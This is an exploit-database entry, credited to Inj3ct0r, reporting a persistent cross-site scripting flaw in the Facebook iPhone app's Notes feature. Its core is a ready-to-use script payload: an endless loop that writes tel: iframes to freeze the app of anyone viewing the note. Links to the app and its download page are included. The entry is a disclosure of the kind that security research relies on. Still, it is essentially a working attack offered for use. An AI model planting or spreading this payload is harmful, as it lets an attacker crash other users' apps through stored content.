==================================
Facebook for iPhone persistent XSS

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __
1 /' \ __ /'`\ /\ \ /'`\
0 /\, \ ___ /\\/\\ \ \ \ \ ,\/\ \/\ \ _ ___
1 \//\ \ /' _ `\ \/\ \//\< /'\ \ \/\ \ \ \ \/\`'\
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \/\ \ \\ \ \\ \ \ \/
1 \ \\ \\ \\\ \ \ \/\ \\\ \\\ \/\ \\
0 \//\//\//\ \\ \// \// \// \// \//
1 \ \/ >> Exploit database separated by
exploit 0
0 \// type (local, remote, DoS,
etc.) 1
1
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By : Inj3ct0r
#[+] Site : Inj3ct0r.com
#[+] support e-mail : submit[at]inj3ct0r.com

Facebook application for iPhone is not encoding special characters
in
Notes detail

Adding this code in a note will freeze application:

<script>var x = 'x'; while (1) { document.write('<iframe
src="tel:'+x+'"></iframe>'); x = x + 'x'; }</script>

App page:
http://www.facebook.com/apps/application.php?id=6628568379

Download:
http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=284882215&amp;mt=8

~ - [ [ : Inj3ct0r : ] ]